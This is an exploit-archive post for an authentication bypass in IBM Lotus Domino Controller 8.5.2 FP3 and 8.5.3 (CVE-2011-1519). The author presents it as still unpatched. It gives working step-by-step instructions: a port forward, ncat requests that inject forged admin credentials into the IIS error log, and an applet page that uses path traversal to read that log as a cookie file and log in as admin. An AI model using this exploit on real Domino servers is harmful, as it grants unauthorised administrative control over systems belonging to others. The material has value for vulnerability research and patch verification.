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IBM Lotus Domino Authentication Bypass

IBM Lotus Domino Authentication Bypass
Posted Nov 30, 2011
Authored by Alexey Sintsov

IBM Lotus Domino versions 8.5.3 and 8.5.2 FP3 suffer from an authentication bypass vulnerability.

tags | exploit, bypass
advisories | CVE-2011-1519
MD5 | 76b18fd33ff899004aa14ab654d4beff

IBM Lotus Domino Authentication Bypass

Change Mirror Download
# Exploit Title: IBM Lotus Domino Controller auth. bypass
# Date:30/11/2011
# Author: Alexey Sintsov
# Software Link: http://www.ibm.com/
# Version:8.5.3/8.5.2 FP3 (0day)
# Tested on: Windows 7 / Windows 2008
# CVE : CVE-2011-1519


Application: IBM Lotus Domino Controller
Versions Affected: <=8.5.2 FP3, <=8.5.3
Manager 4.0 prior to Update 4
(0day)
Vendor URL: http://ibm.com
Bug: own XML parser
CVE: CVE-2011-1519
CVSS2: 9.0
Exploits: YES
Reported:2010-09-23 via ZDI
Date of Public Advisory: 2011-03-22
Authors: Alexey Sintsov
Digital Security Research Group [DSecRG] (research [at] dsecrg [dot]com)

This bug was found by Patrik Karlsson and sold to ZDI. IBM make fix for this bug,
but not enough. So this sploit can make auth. bypass in Lotus Domino Controller even with patch from IBM. So still 0day.
Details you can read there: http://dsecrg.com/pages/pub/show.php?id=41

EXPLOIT:

1. Make port-fwd from 127.0.0.1:2050 to REMOTE_TARGET:2050
2. Inject XML into IIS log file (for an example)

ncat targethost 49152
GET /<user HTTP/1.0\r\n\r\n


ncat targethost 49152
GET /user="admin"cookie="pass"address="http://twitter/asintsov" HTTP/1.0\r\n\r\n

(\r\n\r\n) ENTER two times 8)

3.Run this from local web-server (dconsole.jar - IBM Lotus Domino Console applet)

<html>
<body>
<script>
function onLoadConsole()
{
alert("Connected");
}
</script>
<applet name = "DominoConsole"
code = "lotus.domino.console.DominoConsoleApplet.class"
codebase = "http://127.0.0.1/domjava/"
archive = "dconsole.jar"
width = "100%"
height = "99%"
>
<PARAM NAME="debug" VALUE="true">
<PARAM NAME="port" VALUE="2050">
<PARAM NAME="useraddress" VALUE="http://twitter/asintsov">
<PARAM NAME="username" VALUE="admin">
<PARAM NAME="cookiefile" VALUE="\..\..\..\windows\system32\logfiles\httperr\httperr1.log">
<PARAM NAME="cookievalue" VALUE="pass">
<PARAM NAME="onLoad" VALUE="onLoadConsole">
</applet>
</body>
</html>


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